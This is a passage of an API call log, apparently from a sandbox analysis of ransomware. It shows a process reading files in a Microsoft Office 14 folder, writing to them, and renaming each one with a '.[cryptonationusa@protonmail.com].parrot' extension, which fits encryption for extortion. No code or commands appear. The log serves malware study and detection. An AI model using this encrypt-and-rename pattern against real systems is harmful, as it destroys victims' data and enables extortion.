lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.002] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10a46, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10a46, lpOverlapped=0x0) returned 1 [0205.008] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0205.016] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.016] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.019] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.019] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf0ec, lpOverlapped=0x0) returned 1 [0205.025] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0205.037] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.037] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.073] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e42, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e42, lpOverlapped=0x0) returned 1 [0205.075] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0205.083] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.083] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.086] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.087] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f046, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f046, lpOverlapped=0x0) returned 1 [0205.093] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brch98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brch98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0205.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.110] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.121] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.121] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x98f72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x98f72, lpOverlapped=0x0) returned 1 [0205.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0205.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.186] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.187] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0205.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.217] WriteFile (in: hFile=0x27c, lpBuffer=0x22de080*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22de080*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0205.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.222] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0205.224] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x244032, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0205.224] CloseHandle (hObject=0x27c) returned 1 [0205.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0205.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.236] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7190, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa7190, lpOverlapped=0x0) returned 1 [0205.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0205.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.333] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.348] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x757a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x757a, lpOverlapped=0x0) returned 1 [0205.349] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0205.357] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.357] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.358] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.359] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa28, lpOverlapped=0x0) returned 1 [0205.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs2barb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs2barb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0205.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.364] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.365] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa26, lpOverlapped=0x0) returned 1 [0205.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0205.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0205.370] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.370] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.371] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.371] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x400, lpOverlapped=0x0) returned 1 [0205.372] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0205.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.376] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.378] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12c2a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12c2a, lpOverlapped=0x0) returned 1 [0205.380] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0205.388] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.388] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.390] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe6f8, lpOverlapped=0x0) returned 1 [0205.392] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0205.399] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.399] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0205.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.401] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6214, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6214, lpOverlapped=0x0) returned 1 [0205.402] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0205.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0205.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0205.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0205.407] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.407] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, 